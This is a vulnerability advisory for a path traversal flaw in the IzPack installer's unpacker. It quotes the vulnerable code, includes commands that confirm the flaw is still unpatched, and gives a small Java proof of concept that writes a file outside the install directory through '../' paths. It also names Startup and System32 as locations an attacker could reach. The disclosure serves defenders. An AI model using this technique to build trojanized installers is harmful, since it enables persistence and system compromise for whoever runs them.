CVE-2026-54550: IzPack: Path Traversal in UnpackerBase allows writing files outside the installation directory via malicious pack entries

Summary

IzPack's UnpackerBase.unpack() resolves pack-file target paths without any canonical-path or directory-containment check. An attacker who distributes a trojanized installer JAR (the format is unsigned) can include pack entries whose targetPath contains ../ sequences. When a victim runs the installer the file is written to an attacker-chosen location on disk under the victim's privileges — including startup folders, PATH directories, or system locations.

Details

Vulnerable method: com.izforge.izpack.installer.unpacker.UnpackerBase.unpack() Source file: izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java Vulnerable lines (5.2.4): ~618–627

The relevant code path is:

java String targetPath = packFile.getTargetPath(); // attacker-controlled String path = IoHelper.translatePath(targetPath, variables); // separator swap ONLY File target = new File(path); // no canonical check // ... mkdirs() then file is written to target

IoHelper.translatePath() (source: izpack-util/.../IoHelper.java) performs only file-separator character conversion ('/' ↔ File.separatorChar) and contains no security validation whatsoever. There is no call to getCanonicalPath(), no startsWith(installDir) containment check, and no normalisation of .. segments.

Because IzPack installer JARs carry no digital signature, an attacker can repack any legitimate installer with malicious PackFile entries. The file format is a standard ZIP with serialised resources — no integrity protection.

Confirmed unpatched in HEAD (fetched from GitHub, 2025): git show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \ | grep -n 'getCanonicalPath\|startsWith.install\|traversal' (no output — fix not present)

PoC

bash 1. Clone IzPack source and view the vulnerable code directly git clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git sed -n '615,650p' izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java

2. Compile and run the following Java reproducer (no IzPack classpath needed):

java // TestPathTraversal.java import java.io.;

public class TestPathTraversal { // Exact replication of IoHelper.translatePath() — separator swap, no security static String translatePath(String destination) { return destination.replace('/', File.separatorChar); }

public static void main(String[] args) throws Exception { String installDir = "/tmp/izpackinstall"; String maliciousPath = installDir + "/../../../tmp/ESCAPEDFILE";

// This is what UnpackerBase does: String path = translatePath(maliciousPath); File target = new File(path); // resolves traversal target.getParentFile().mkdirs(); try (FileWriter fw = new FileWriter(target)) { fw.write("Written outside install dir via IzPack path traversal\n"); } System.out.println("File written to: " + target.getCanonicalPath()); System.out.println("Inside installDir: " + target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath())); } }

bash javac TestPathTraversal.java && java TestPathTraversal Output: File written to: /tmp/ESCAPEDFILE Inside installDir: false

Impact

Any user who runs an IzPack-generated installer is affected. The attacker only needs to distribute a repackaged installer — a common social-engineering vector. On Windows (the primary IzPack platform) the victim typically runs the installer as a local administrator, so the attacker can write to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, %SystemRoot%\System32, or any other location reachable by the victim user. On Linux/macOS the same applies for user-writable locations.

No authentication, no special privileges and no interaction beyond running the installer are required on the victim side.

Credits This issue was identified by Michał Majchrowicz, Marcin Wyczechowski, and Paweł Zdunek, members of the AFINE Team.